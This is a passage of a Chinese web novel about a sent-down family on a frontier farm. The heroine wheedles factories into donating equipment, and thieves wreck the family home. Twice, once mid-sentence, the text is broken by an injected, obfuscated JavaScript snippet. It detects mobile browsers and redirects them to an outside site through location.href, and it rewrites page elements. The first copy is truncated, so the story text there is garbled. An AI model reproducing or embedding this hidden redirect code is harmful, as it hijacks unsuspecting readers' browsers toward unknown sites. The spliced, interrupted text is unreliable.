片刻后,几人坐在沙发上喝着茶。 “老郑啊,你这日子给个神仙都不换啊,”赵铁柱喝了口茶,“车床的事你怎么看?” “按理说赵连长都开口了,我不得不答应,”郑□□摩挲着茶杯,缓缓开口,“可是其余几家我是一个都得罪不起啊。” 赵铁柱看了眼林晚霜,示意她先上。 她放下茶杯,整理了下思绪:“郑厂长,我年纪小,没经过多少事,如果说的不对还请您多多包容。” 郑□□立刻笑道:“好说好说,林作家是两位先生的高徒,是我向您请教才对。” 林晚霜没理会他话里的机锋,直接开口:“赵连长的意思是您把车床给我们,除了应该给您这边的东西外,还让我师父们帮忙检修厂里设备。这原本是没问题的。” 郑□□手指一顿,抬头看她。 只见她笑语晏晏:“但郑厂长说,要买车床的人太多,而且背后都有人。所以为您着想,这车床您不能卖给我们。得送给我们。” “哐” 郑□□手中的搪瓷杯子一下子翻倒在桌上,茶水流的到处都是。 “你说什么?”他没有管茶水,说话的声音有些变形。 林晚霜还在笑:“我说,郑厂长将车床赠送给军区,用于改良开荒设备。这是一件为人称道的佳话。” “你知道一台车床意味着什么吗?”郑□□看着她,“如果因为我个人想上进,让厂子里其他人一口汤都分不到,我这个厂长也当到头了!” 其余人也纷纷看向林晚霜,都想看看她要怎么圆。 “怎么会呢?”林晚霜从衣兜里掏出那张被两位老师批的一文不值的设计图,“您看看,这是两位先生争着收我为徒的原因。” 李安民和赵华互看一眼,总觉得她这话有哪里不对。 郑□□原本还一腔怒火,听到她这一句瞬间正襟危坐,手下意识在身上擦了两下才小心翼翼接过那张纸。 展开,如同小儿涂鸦般稚嫩的线条。却能看出是某个机械的设计图。 他原本也是技术工人出身,很快就看懂了:“这是你画的?” 虽然他觉得有些地方好像不太对,但一想到是两位技术大佬都认可的设计图,想必一定是他技术不够所以才觉得奇怪吧。 “一台旧车床,换一个厂里技术员都能参与的机械改良项目,”林晚霜声音宛如恶魔,“有我两位师父为项目保驾护航。郑厂长,这业绩你想要不要?” 郑□□都快馋哭了,他能不想要吗?可那是一台车床啊! “您和赵连长认识很久了吧?”她开始忽悠了,“就赵连长的秉性,您猜我们为什么这个点才来您这儿?” 赵铁柱心想:我什么秉性?善良?热情?乐于助人? 张子枫心想:为什么才来?因为出发晚了呗。 李安民皱着眉:这徒弟是什么情况?心思复杂的好像不是搞学术的啊? 赵华乐开了花:好家伙,我这徒弟原来还是个大忽悠!太好玩了! 郑□□不动声色地扫过众人,心头一紧:这些人的表情……嘶,我是第几个知道这个改良机械项目的?现在难道只有我没参与了? “你们已经和汽车厂,农具厂,自行车厂和钢铁厂都谈过这个项目了?”他义愤填膺,“那群狗日的,就瞒着我呢!你们刚刚是从前院老张那里过来的吧?他是不是拿他们钢铁厂刚刚收的那批废铁参加这个项目了?” 林晚霜内心默默地想:谢谢指路,等会儿我就去前院找那个老张谈废铁的事。 赵铁柱眼睛一亮:哦豁!听这语气,连部这次不用花钱不仅能白得个车床,还能多一批有经验的大师傅来帮忙啊。 还有钢铁厂老张,居然弄到废铁了,这口风可真紧,等会儿他就去薅过来。 林晚霜立刻沉了脸:“郑厂长既然不想参加这个项目就不要随便打听,我们要对项目合作单位的信息保密!” 郑□□立刻站起身:“谁说我们机械厂不参加?明天一早我就让人用车把车床送你们连部去。另外必须给我们的研究员至少10个名额!” 十分钟后,钢铁厂老张送别林晚霜一行人:“说好了,明天我就让人把废铁拉你们连部去,我们至少要8个参与研究名额。绝不能比农具厂老王少,他们不就是拿了点破织布机和弹簧吗。我们的废铁可不比他们的价值低。” “好说好说,”赵铁柱立刻出面应承,“不过咱们合作单位内部可不兴分裂。” 一群人出了院子,面面相觑。 张子枫不明白事情咋就发展成这样了,车床弄到了,但是不是弄回102排,而是连部。 一分钱没花,但好像把林作家搭出去了。 “咱们还去农具厂赵厂长家吗?”他问了一句。 所有人齐刷刷看向他,他瑟缩了下身体:“我只是问一下,没别的意思。” “既然知道农具厂有一批废弃的织布机和生锈的弹簧就不能不去。”林晚霜说,“这可是我设计的刀齿滚动耙的重要材料。” “徒弟啊,”赵华现在看她哪哪儿都满意,“你再给为师说一下你那个滚筒耙的设计思路。” 李安民也凑近了点儿,他最初是有点适应不了徒弟太擅长玩弄人心,但一想她要是不做这些他们光是找材料都要花费大量时间。哪像现在? 机械厂不仅答应给一台车床,还保证材料仓库对他们免费开放。钢铁厂直接把几千斤废铁全给他们做研究了,还保证后续的废铁除留够钢铁厂自己所需外,全部无偿投入项目。 破壳犁的材料走了一圈就基本上全乎了。 此刻听她说还有两个改良机械的思路,李安民也忍不住骄傲上了:他果然是不收徒则已,一收徒就是个天纵奇才啊! 林晚霜不知道她又被两个师父拔高了形象,更不知道她以后的日子会多么痛苦而充实。 此刻她正在认真阐述滚筒耙和搅拌耙结合替代机械螺旋深松结构。 赵铁柱认命地把车开过来请他们上车,一群人又往赵厂长家杀去。 这一夜斩获不小,到最后他们累的只能在车里睡了一夜。 第二天一早,赵铁柱又去机械厂,亲眼看到车床被搬上卡车,这才放心地开车回到连部。 “林作家,要我说你写作,做设计都是浪费天赋,”送林晚霜和张子枫回102排的路上,赵铁柱忍不住感叹,“您应该做个外交官。” “这话你留着和我师父说去,”林晚霜抱着几本手写笔记本,像是被抽干了灵魂,“你让他们别在逼我学习了。” 赵铁柱瞥了眼她怀中的笔记本,打了个寒颤,不敢开口了。 张子枫坐在后座感叹:“世界上怎么会有林作家这样的天才呢?” 林晚霜想说,我的天才是怎么来的你们心里没点数吗?我特么就是个渣渣,什么杰出作家,什么天才设计师,每一项名头都离不开在座各位的吹嘘。 别人如果到她这位置会是什么心情她不知道,她只知道自己快吓死了。 欲戴皇冠,必承其重。 问题是,她压根没想戴皇冠就要被压死了。 车内安静下来,突然—— “师部的车怎么过来了?”张子枫突然喊出声,语气震惊。 在他们前方,一辆挂着师部车牌的军用吉普停在路上趴窝了。 赵铁柱立刻停车,检查了下身上的配枪:“你们在车上不要乱动,我去看看。” 这里出现师部的车委实有些诡异,他开门下车,小心戒备着上前。 五分钟后,赵铁柱带着张墨坤过来了。 “张连长,负责新兵训练,”赵铁柱简单的解释了一下,别有深意地看了眼林晚霜,“他去102排有点事,和我们同行一段路。” 林晚霜立刻明白,这是去找陆沉舟的。她假装不经意地问:“车怎么了?” “汽车兵忘记算好油量了,”张墨坤有些无奈地回答,他也认出了林晚霜,“已经去连部调汽油了。我就贪个便宜,做你们的车省点油了。” 此后一路都很安静。 张子枫正襟危坐,和师部下来的连长坐一起他浑身难受的厉害。 张墨坤全程闭目养神不发一言,赵铁柱知道他身份有些不一般,也不说话。林晚霜干脆闭着眼睛看小智做的学习笔记,认真学习。 到了182排正好是中午饭点,张墨坤被李浩领着去找王排长了,赵铁柱干脆跟着林晚霜去他们的地窝子看看。 “你这搞的不错,”看了一圈,他点评道,“果然会过日子的在戈壁滩都能过的和别人不一样。” 两人有一搭没一搭的说着,突然门开了,张墨坤和陆沉舟一前一后的进来。 赵铁柱立刻起身要避嫌。 “明天林作家得出个任务,”张墨坤看着赵铁柱,“归期不定,她男人得跟着去。具体是什么任务你想一下。” 赵铁柱心里暗骂一声,笑着说:“这不巧了吗,林作家刚刚拜了李安民和赵华先生为师,准备在连部一起研究改良机械,还有市钢铁厂,市机械厂,农具厂,汽车厂的技术员参加研究。” 张墨坤睁大眼睛看向陆沉舟,嘴里脱口而出:“陆队,咱嫂子牛逼啊!那两位可算得上是国宝级人物了!” 赵铁柱听到“陆队”瞳孔猛然一缩:妈呀,真佛居然在这里?!张墨坤喊他陆队,这人到底是什么来头? “这些我也刚刚才知道,”陆沉舟也很意外,“但她一直很好学。” 一句话说的林晚霜快吐了,不为别的,暂时不想听到“学习”相关的话。 赵铁柱知道自己该撤了:“我现在去找王光明说这事儿,张连,等会儿我来这里找您?” 张墨坤应了声,他正好有点事要和陆沉舟细说。 赵铁柱一走,林晚霜知道自己也该撤:“我走了两天,现在去看看爸和星野。” 出了地窝子,她轻轻带上门,往仓库去了。 这个点大家都在上工,没有多少闲人,她走到陆父那边,他正拿着扫帚认真但无效地扫着地上的灰。 看到林晚霜他立刻扔下扫帚:“你去哪儿了?就留下一个字条跑了两天,你还记不记得自己是个孕妇?” 林晚霜一惊,突然想起自己居然还是个“孕妇”。算算日子,她穿来也有半个多月了。 额,她就说有什么东西忘了准备了。不知道原主的月经准时吗?这年头姨妈巾应该是很难买,该怎么办?难道它流任它流? “你有没有在听我说,”陆父见她神游天外,忍不住叹气,“别乱跑了知道吗。算算日子你马上要显肚子了。这种时候绝对不能累……” “爸,”林晚霜打断他的絮叨,“我明天得去连部,归期不定。” “啊?什么?”陆父急了,绕着她转圈,“怎么又要走?” 几分钟后,陆父难以置信地看着她:“你拜师了?还是两个特别厉害的师父?你把七八个大厂子都忽悠去参加你的项目了?你要当研究员了?” 林晚霜无奈点头并强调:“我不是研究员,我离研究员差太远了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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正在这时,陆沉舟出现,他挡在她身前:“我媳妇儿害羞,大家别看了,先打饭吧。” “是啊!别看了!”王光明开心地大笑起来,他之前支持林晚霜的时候,很多人都说这是在瞎搞。 现在看来还是他有先见之明。一张设计图竟然让惹得几个厂子争相送东西送研究员。这得是多好的东西啊! “老哥哥还是你儿媳妇有出息啊!”杜枝花凑到陆父身边。 “哈哈哈,是啊,是啊。”陆父笑的一张脸开出了菊花。 “老哥哥不庆祝庆祝?你们带的食物不少吧?应该还有肉?”杜枝花又继续说。 “是该庆祝,哈哈哈,”陆父很开心,“我让我儿子带媳妇儿去国营饭店吃一顿。” “那你怎么办?”杜枝花仍不甘心,“她有这样的成就可离不开你这个当爹的支持。” “对,老妹妹你说的特别对,”陆父非常认可,“所以我跟她说,你把孩子生下来爸给你带,你放心去忙。哈哈哈,孩子有出息,咱不能让她操心家里的事。” “老哥哥,你就不为自己考虑?”杜枝花见他全程已读乱回,实在忍不住挑明了,“你儿媳妇出息了,不给你点好处?” “给了啊,”陆父没听出不对,仍旧笑呵呵的,“我现在出去感觉倍儿有面子。嘿嘿嘿。太给我们陆家长脸了。” 杜枝花……杜枝花决定放弃和这个傻老头说话。 不过,他大儿子,儿媳妇都要去连部…… 她眼珠子转了转,他们家实在熬不下去了。这些日子累死累活工分一点没挣到还倒欠了不少。 灶房上跟他们说了,如果三天之内不能把欠的工分补上,就要给他们断顿了。 陆家家底应该不薄吧?除了他们她应该再多看看别的几家,实在不行,要不干一大票之后立刻越境离开这个国家算了。 林晚霜还不知道这里已经有人惦记着偷她家了。 此刻她正在和陆沉舟小声说话。 “所以你也不知道要去几天?”她低声问道。 “得看具体任务完成情况,我忙完了会去找你。”他低声说。 “陆沉舟,”她不敢问太多任务的事,却又忍不住好奇,“你这算是重新入伍了吗?” 他笑了:“没那么简单。林作家放心,我不会给你拖后腿的。” 不知道是不是自己人黄看啥都黄,她一时间只觉得他看自己的眼神暧昧无比,连带着这正常话落到耳中也变成了小钩子,勾的她心跳加剧,脸庞发热。 她躲开了他的目光,假装看前方。 “林作家,”他凑近,温热的气息喷到她耳朵上,“林作家,我说我不会给你拖后腿。” “嗯嗯,知道了,”她慌忙往前一步,“别靠那么近,我听到了。” “所以林作家准备什么时候把我写进你的文章里?” 林晚霜听到这话松了口气,她果然不该看那么多颜色小说,还误会人家对她有意思,幸好他不知道,否则她真是可以尴尬到重开了。 不过—— “真的可以写你吗?”她很疑惑,“写出来会不会影响你?” 就他这种保密工作的性质,写出来不会给他添麻烦吧。 “当然可以,写完只给我看就行。” 林晚霜明白了,她瞥了他一眼:“你可真自恋。” 她很意外陆沉舟居然如此闷骚吗? 陆沉舟也很纳闷,看来张墨坤这个人果然不靠谱,还说看起来他媳妇儿和他没什么亲密之情,一本正经要传授他技巧。 “没结婚的男人真是不可信。”他轻声感叹,顺便把张墨坤打上“不靠谱”三个大字,扔进小黑屋。 话说回来,他真不觉得他媳妇和他不亲密。 不亲密能告诉他自己没怀孕吗?不亲密能把他编进奇怪的小故事里吗?不亲密能把他弟,他爸的工作都安排的妥妥帖帖吗?不亲密能担心把他写进文章里会给他添麻烦吗? 没结婚的男人根本不懂,算了,也不怪张墨坤,毕竟他还孤寡着。 美滋滋把自己说服了的陆沉舟现在心情极好,林晚霜瞥见他脸上的笑意,心中感概:果然知人知面不知心。谁能想到开局就要掐死自己的酷哥,居然是个想看自己被写进故事的闷骚呢? 这样说来她也算明白为啥他在听到自己的霸总故事时不生气了。毕竟他的内心世界闷骚而狂野。 王光明讲完话,刚下来就被人围着问情况了。 王光明光棍地一摊手:“问我干啥?具体的我都不懂,你们要问问林作家去。” 于是林晚霜站在队列里立刻被前边,左边右边的人围住。 “林作家,您设计的那个犁头生产出来,咱们开荒真的可以省劲儿吗?” “林作家,你看我家虎头可不可以拜你为师。” “林作家,你那个写咱们的文章啥时候发表,发表出来让人念给我们听听呗。” …… 太热情了。 饶是林晚霜很擅长处理人际关系,此刻也有些应付不了。 幸好大师傅打饭的速度一如既往,很快就轮到她了。 “我要回家吃饭,咱们下次聊。”抱着饭盒,她一溜烟儿往家去了。 然而回到地窝子,她面对的是另一种疯狂。 “我得给沉舟他妈说说这事儿,”陆父一回来就拿着纸笔开始写字,“我写了,你们帮我收着,等我死了和我的骨灰盒一起埋沉舟他妈身边。她不太认字,等我下去再给她好好念念。” 林晚霜吃着饭,听到这话眼睛有些湿润。 陆父坐在地上,把本子摊在石凳上,眯着眼睛慢慢写着。 林晚霜不小心瞥见几行—— 【……业已冬至,边塞风寒……纸短霜重,梦中再叙。夫秉章,腊月初一,于石凳。】 陆父把信折起来,放在他们装着故土的玻璃罐中,这是陆母在知道他们要下放后第二天,去院子里挖的土。 她说,故土难离,远行的人得带上家乡的一捧土,万一水土不服兑了吃可以治病。 这个玻璃罐和这捧土,就是他们从T市带来的唯一一件易碎品。 “沉舟,沉舟媳妇,星野。”他看了眼三个孩子,“这信我放这里了,记得连这捧土,以后一起带回去啊。” 林晚霜看了眼那被陆父郑重放进牛皮包里的玻璃罐,她知道这不仅是一个玻璃罐,还是陆父的精神寄托。 46. 第 46 章 在连部的五天,每一天对于林晚霜来说都是累并痛苦着。 没有快乐。 最惨的是,她真的很努力了,但她两个师父只觉得她是不认真。 那种付出了十二分努力却被当做只有一分认真的痛苦谁能理解? 她是学渣却被当做天才来要求,最难过的是没人理解她。就连赵铁柱偶尔路过都会委婉地劝她不要浪费自己的天赋,稍微认真点。 太痛苦了。痛苦的想暂时当一只不用思考的草履虫。 然而这是不可能的! 在一群研究员互卷的大环境中,她竟然受到影响,牺牲睡眠时间让小智在夜里给她讲课。 她觉得自己简直疯了。然而唾弃完自己,她又继续埋头卷生卷死。 此时天已黑,在烛光中,林晚霜把修改了十五次设计图递给李安民检查。 “这个承重轴还是有问题!”李安民用笔圈出错误的地方,“你之前不是画过吗?现在怎么一直错?” 她不敢说,之前是直接抄袭的,压根不懂为啥要这样画,现在她真的是全部靠自己。 “重画吧,”李安民看着她叹气,“你现在明白了吗?天赋没有知识体系的支撑就是一盘散沙。你当时肯定就是灵光一闪,自己都不明白为啥要那样话。” 好消息,师父没发现自己是冒牌货。 坏消息,师父仍旧把自己当做天才。 抱着第十五次被打回的设计图纸,林晚霜内心流泪,却在看到钢铁厂的研究员时笑得依旧灿烂。 “真羡慕小林同志有李工一对一的亲自教学啊。”钢铁厂的研究员们一脸羡慕。 “还好,大家都有机会被师父亲自指点,向工上次做的那个齿轮,师父私底下也在夸,精度很高。”在这种大环境下如果还抱怨自己不想接受这样的待遇,就是不知好歹了。 这一句话说的实验室每个人都很开心。 是的,他们是没那个运气做两位大工程师的徒弟,但是他们进入这个项目五天,得到的指点绝对不少。足够他们少走好几年的弯路了。 正在大家斗志昂扬继续奋斗时,突然门被敲响了。 这里是连部最中心的位置,此时已经是晚上九点。按理说除了研究员,其他人都已经睡了。 怎么会有人这时候来敲门? 林晚霜赶紧开门,却看到门口赵铁柱的警卫员领着一脸着急的储一恒。 她内心猛地一颤,直觉是来找她的。 难道是陆沉舟的任务? 不对,他们应该不知道陆沉舟不在连部。所以是陆家其他人出事了! “林作家!”储一恒看见她立刻开口,“你家出事了!” 一刻钟后,赵铁柱开着车。 副驾驶上坐着一个穿着军装的中年男卫生员。 储一恒坐在林晚霜身边补充细节:“老人现在高烧不退,人也昏厥了。手里死死抓着个玻璃碎片不放手。” 林晚霜脸色阴沉:“就是说,有人洗劫了我家,还把我公爹给推倒了?” 储一恒摇了摇头:“不确定,你家附近的地窝子目前都空着。我出来前,排长正在调查这件事。” 末了他又奇怪的问:“对了,陆沉舟怎么不回去?” “实验室缺一些东西,让小陆下午去市里取了。”赵铁柱立刻说。 “那小陆不在,老人的事……” 林晚霜打断了他的话:“这些事不用等陆沉舟,我可以负责。现在当务之急是马上把我公爹接到连部找卫生员看。” 夜晚让原本就难走的路,又平添了几分危险。 赵铁柱在兼顾安全的情况下尽量开快。 两小时后,他们看到了营地门口的火把。 “排长!排长!林作家他们来了!” 执勤的士兵一个往里奔走去找王光明。另一个留下来介绍情况。 “排长给老爷子吃了阿司匹林,多亏赵连长送的药,现在烧退下去了。” 赵铁柱看向林晚霜,那眼神分明是:我什么时候送过药?给个解释! 林晚霜没理他,只继续问:“是谁做的?抓到人了吗?” “是曹家,”执勤的士兵义愤填膺地说,“不止是你们家,还有两家也被抢了。他们抢完东西想越境,结果误闯禁地,被人当场抓住。” 他看向林晚霜,语气中有些不忍:“你家的东西除了两床被子,其他的都拿不回来了。” “他们在挣扎的时候,跳进了冰河,很多东西都沉了,就那两床被子,也湿哒哒的浸了水,差一点也捞不起来了。那两家更惨。什么都没有了。” 冰河在西边,很深,含碱量很重,有毒,没有什么鱼类,所以一般也没人靠近那里。 他眼泪流了下来:“还有曹家那个病孩子,曹家人丧心病狂,为了拖延时间,他们把孩子扔冰河里了。我们的人当时跳了下去,但是来不及了。那孩子一直在喊爸爸妈妈,呛了很多水,很多很多水……” 林晚霜也沉默了,她想起那个叫做曹根宝的孩子。 第一次见面,他被他爸爸以非常难受的姿势抱着睡觉,说是一天没吃饭没睡觉了。第二次,他爸很像一个慈父,抱着他给他磕头找药。第三次,他爸抱着他在田埂上看曹小莲和杜枝花干活。 “谁扔的他,”她忍不住问,“谁把那个孩子扔冰河里了?” 小战士眼泪流的更厉害:“他爸。” 林晚霜的眼泪瞬间流了出来,她声音哽咽:“怎么会?他之前还为了儿子磕头……” 世界上怎么那么多不配为人父母的人?为什么当父母之前他们不用考试?为什么会让这些人有孩子? 在场的人也都沉默了。 一行人匆匆走进军营,王光明也和普通士兵一样睡的是营房。 十平米不到的房间放着四床木床,木头都有些发霉,陆父此刻就躺在左边挨着门的那张床上,裹着一条军绿色的薄被。 卫生员放下手中的药箱,拿出听诊器,一脸严肃地上前检查。 陆星野站在一边,一双眼哭的又红又肿,看到他们进来,他张望了半天却没看到陆沉舟。 他走到林晚霜身边问她:“嫂子,我哥呢?我哥回来了吗?” “没有,你哥去执行任务了,”林晚霜掏出手绢帮他擦了擦眼泪,“就像你做任务时候那样,他没做完就不能回来。” 陆星野带着哭腔:“那他什么时候做完?我爸还没醒,玻璃罐子被砸了,土撒的到处都是,爸写给妈的信被人撕碎了。” 她心头一惊,想起离开营地前一晚,陆父在烛火中伏在石凳上一笔一画写下的那封与妻书。 想起他说“记得把这玻璃罐,这封信和我的骨灰一起埋到沉舟他妈旁边”。 想起他抱着玻璃罐摩挲时脸上浮起的思念。 想起他写的那句“纸短霜寒,梦中再叙”。 她看向陆父手中攥着的玻璃片,很深,他的手还微微渗血。 “掰不开爸的手,”陆星野也看了过去,“我们都试过了。王排长让人问过了,玻璃罐是曹小莲打烂的,她以为里面有重要的东西,结果看到是一封信,生气地撕烂了,还踩了几脚。” 他眼中满是恨意:“我想打她,但是王排长说明天会组织公审,嫂子,我要看公审。” 林晚霜没说话,她看着陆父紧紧攥着玻璃片的手发呆。 她承认,她第一次被这种浓烈的情愫震撼到了。 那么娇气怕疼,指甲劈了都要抱着手吹半天,划个小口子都要流眼泪的陆父。 他是怀着什么样的心情才能将玻璃片紧紧攥在手心,即使高烧昏迷也没人掰的开他的手。 “情况很严重。”卫生员的声音打断了她的思绪。 卫生员一脸严肃的看向她:“你父亲原本身体就亏空的厉害,应该是吃了什么猛药暂时吊住了。本来这样的情况就该好好养着,保持心情愉悦,可是现在大悲之下,肝气郁结,所有的病症全部引发出来了。” “如果可以,尽快转到师部大医院去住院治疗,”卫生员犹豫了下,“但那是有指标的,需要营级以上,或许有军功的才可以。毕竟现在医疗资源有限。” 林晚霜明白了,她看向卫生员:“我们可以先去连部的卫生院治疗吗?” 师部大医院要求太高,陆父只是普通人,陆沉舟又退伍了,他们压根别想这事儿。 卫生员犹豫了下:“需要就医介绍信,不过我们的药物储备不足,也只能勉强维持老人的生命特征。没办法做有效治疗。” “好!”她咬牙,“王排长,您看可以给我们开介绍信吗?” 王光明立刻点头:“我让李浩立刻写。今晚你们就走。” 陆星野的眼泪越掉越多,他看看陆父,又看看门外,显得很是纠结。 林晚霜看懂了他的纠结,蹲下身问他:“曹家人在那边?” 陆星野擦着越来越多的眼泪,点了点头,语气纠结:“嫂子,我担心爸,但没看到他们的下场,我不甘心。” 她叹了口气,双手扶着他的肩膀:“嫂子也很生气,嫂子也想看到他们恶有恶报。咱爸这个人……” “咱爸,组织说下放劳改,他就来了,一辈子没干过活,身体又不好。但是咬着牙努力学着干。他不逃避劳动,不偷奸耍滑。看着曹家人也是下放人员心软就被他们赖上了。” “他唯一的爱好就是捧着妈留下的玻璃罐看看,那罐子里装的就是咱们家院子里的土。咱爸给妈写了信,让咱们等他死了烧了,连着他的骨灰盒和信一起寄回去,让人帮忙埋在妈旁边。” 陆星野越听越不对,他爸说的好像是让他们带回去吧?而且不逃避劳动?这是他爸? 然而他却听到了几声响亮地抽泣。 他偷偷看了眼,赵铁柱,王排长,储一恒,卫生员……这屋子里有一个算一个,都被故事里一颗红心,两处牵挂的陆父感动哭了。 他闭嘴,默默听他嫂子继续说。 “现在玻璃罐碎了,信被撕了,爸攒着玻璃片大概是觉得自己没用吧。连妻子唯一留给他的东西都保护不好,而那封信,咱妈也看不到了……” “我受不了了,”王光明猛地一擦眼睛,“狗日的曹家,不做好事!” “老王,冷静!”赵铁柱眼眶也酸涩的厉害,却死死抱住要冲出去打人的王光明,“咱们要遵纪守法,按规定做事。” “连长,排长,”储一恒哭着喊,“陆家人太惨了,陆老爷子太不容易了。你们看他的手还在渗血呢。” “去了卫生院,我一定每天去看陆老爷子,”卫生员哭的眼睛通红,声音哽咽着说,“他太不容易了。” 林晚霜看着陆星野小声说:“放心了吧,其实曹家人本来就犯了众怒,他们好不了了。” 陆星野点了点头,擦着眼泪:“嫂子,我跟你去连部!” 十分钟后,王光明抱着陆父小心翼翼放在车后座。 看着林晚霜陆星野都上了车,他挥着手和他们道别:“等公审结果出来,我会让小褚去连部和你们说。” “谢谢王排长,”林晚霜叹了口气,“如果方便,能不能帮我把碎纸屑收一下,我想试着看看能不能拼起来。” 临近晚上12点,一行人回了连部。 太晚了,他们抱着陆父去卫生院办理了紧急入院。 卫生员叫秦伟,他一边写着紧急住院单子一边提醒:“明天我会给老爷子开正式住院单,住院的押金是20块钱。” 陆家地窝子被霍霍了,现在是一分钱都没有。林晚霜琢磨了一圈决定还是先找她老师借。 虽然同样是下放人员,她两个老师却是领着工资做事的。日子过的比她滋润多了。 趁着有车在,她回去宿舍搬了被子搪瓷盆饭盒和搪瓷杯过来,值得一提的是她师娘看不过去她活的太糙,不仅送了她搪瓷盆,毛巾,还送了润肤膏让她擦脸。 晚上她就和陆星野一起打了个地铺守着。 半夜陆父又复烧了一次。 找不到热水,林晚霜只能总冷水一遍一遍的给他敷额头。 等折腾完一看时间已经快4点了,看了眼睡得正香氛陆星野。 她干脆不睡了,直接让小智把学习笔记调出来,一边学习一边思考承重轴怎么设计。 陆沉舟是第三天凌晨出现的。 两天前,陆父已经醒了,但他一直不说话,只有在她和陆星野偶尔提到T市的时候眼珠子才转一转。 攥在手里的玻璃片被他放在床头柜上,除了吃饭睡觉,他就盯着那玻璃片看。 给他手上的伤口涂药的时候,他也不会喊痛,就像是行尸走肉,已经失去所有的感官一样。 陆沉舟站在病房门外,借着那条没关好的门缝往里看。 他的父亲睡在病床上,瘦削孱弱。 他的弟弟睡在地铺上发出响亮的鼾声,他媳妇儿抹黑在纸上画画图图。 他轻轻推开门,放轻脚步,慢慢走近。 就着冷清的月光,他依稀看清是设计图,画工比起她最开始强了不止百倍。 和他想的一样,他媳妇儿努力又上进,在别人休息的时候还在努力用功。 果然她能想出设计改良机械不是毫无缘由的,她一定是之前看了很多书籍,才能厚积薄发。 他站在她身后不远,认真地看着媳妇儿在专心学习,看着看着,他原本烦躁的心渐渐平静下来。 原本昼夜兼程的疲惫慢慢席卷上来。 他轻轻打了个哈欠。 林晚霜正抓着头发冥思苦想这次的承重轴又错在哪里。当然,只要她愿意,她随便就能看到正确答案。 但她不服,她想完完全全靠自己。 她觉得自己学的那么认真,即使没天赋,她也应该能把这个知识点吃透才对。现在抄正确答案她觉得对不起自己。 或许是想了太久太久,她鼻尖在纸上游移,突然听到一个声音,很小,她吓得笔尖在纸上划了一下。 来不及思考是什么声音,她已经瞪大了眼,她的视线,全部在那条随手划出的线上。 找到了! 手指忍不住轻颤,她努力克制住涌上心头的狂喜,快速重新画了一遍承重轴设计图。 这一次,她有强烈的预感,她要成功了。 等她改完图后,一股疲惫席卷上身体,她仔细收好设计图,然后胡乱往后一倒。 身后是棉被,她记得清清楚楚。 然后,她睁大了眼,睡意如潮水褪去。 她转身,月光下,棉被里躺着的是那个绝不可能出现在这里的男人。 “我是在做梦?”她轻声呢喃,“我就这么想他?” 算了,先睡觉吧。 她打了个哈欠,又倒了下去。 然后—— “醒醒,陆沉舟,你给我解释下,”她面无表情地揪着他的耳朵,“你怎么会在我被窝里?” 几分钟后,捏着一把钱,她打着哈欠不敢置信地看着他:“明天去师部医院?你拿到指标了?” 不是说营级以上干部,或者立了军工才可以去师部医院住院吗? 他这是干啥去了? 陆沉舟眼皮耷拉着:“媳妇儿,我们先睡吧,我三天没睡觉了。” “行吧,睡吧。”她也三天没睡好了,困得很,压根没听清他叫自己什么。 看了一圈没别的地方了,她让了点位置:“你一半我一半,不要越界。” 两人倒下,很快沉沉睡去。 林晚霜是被刀搅般的疼痛惊醒的。 她还没反应过来,伴随着疼痛一股热流用下身涌出。 混沌的大脑立刻清醒:来了!都二十多天了,她都忘了的流量终于到账了! 一看时间这是上午十点。 可是她没有换的裤子,她也没有准备迎接流量的东西。 她猛地坐起身,却听到身下传来一声闷哼。 来不及思考自己怎么会趴在陆沉舟身上睡觉,她一攫住陆沉舟的手,将他推醒。 “怎么了?”男人还未完全清醒的声音有点哑,像砂纸在轻轻刮蹭耳膜。 “陆沉舟!”她发现陆父和陆星野都在房间,只能贴近他的耳朵,“来了,我的月事来了!” 陆沉舟的眼睛越睁越大。 他突然低下头,看着自己大腿根部。 那里的衣服上,有一滩新鲜的血液。 他抬头,发现弟弟正好奇地看着他们。 猛然起身,他将身上的女人团抱着往楼层的公共厕所走去。 一路上遇到病人,家属还有医护人员。所有人都用奇怪地眼神盯着他们。 陆沉舟越走越快,快步到了厕所门口,把她放下来。 同一时间。 陆父病房外。 一群人指指戳戳,声音越来越大。 一个大妈探头进来问陆星野:“刚刚那个被男人抱着去上厕所的女人是你嫂子吧?她咋上个厕所还要男人抱?” 陆星野还没回答,一群人七嘴八舌就说上了—— “现在的年轻女同志太娇气了,是哪家的?这样光天化日的做羞死人的事,应该被举报!” 陆父听到“举报”两字,手指猛地一颤。 “什么呀,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226912|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们在乱说,我刚刚可是看到了,女同志裤子上有血。这屋的女同志不是孕妇吗?会不会是照顾病人太累所以……” “啊!是孕妇在流血!?” “孩子还保得住吗?我看她还没显怀,这下……” “小同志,你还不快去找医生给你嫂子看看!” 陆父已经挣扎着从床上坐起,他铁青着脸色看着陆星野:“快!快扶我过去,你嫂子的肚子不能有事!” 就在陆父急匆匆往厕所赶的时候。 厕所隔间里,林晚霜脱下裤子绝望地发现,量很大,全湿透了。 这是肯定不能出门的。 她强忍着不适穿上最外面的棉裤,慢慢挪到门口,见没有人看,赶紧拉着陆沉舟去一边拐角说话。 “我的裤子全部脏了不能穿了,我宿舍里有换洗的裤子,还有剪好洗干净的棉布。都在床底下的布袋子里。” “算了,你连布袋子一起拿过来吧,这次月事量太大了,我怕……” “月事?”陆父的声音突然响起,“沉舟媳妇儿,你不是怀孕吗?怎么会来月事?” 林晚霜愕然转身,却见身后的陆父脸色铁青地看着她。 片刻后,病房。 “所以你们压根没同房?”陆父攥着搪瓷杯的手指用力,杯中水漾了出来,他却压根感觉到烫,只把这话又重复了一遍。 “是,但是晚霜她失忆了,她不确定有没有和我同房,”陆沉舟解释道,“这主要怪我。” 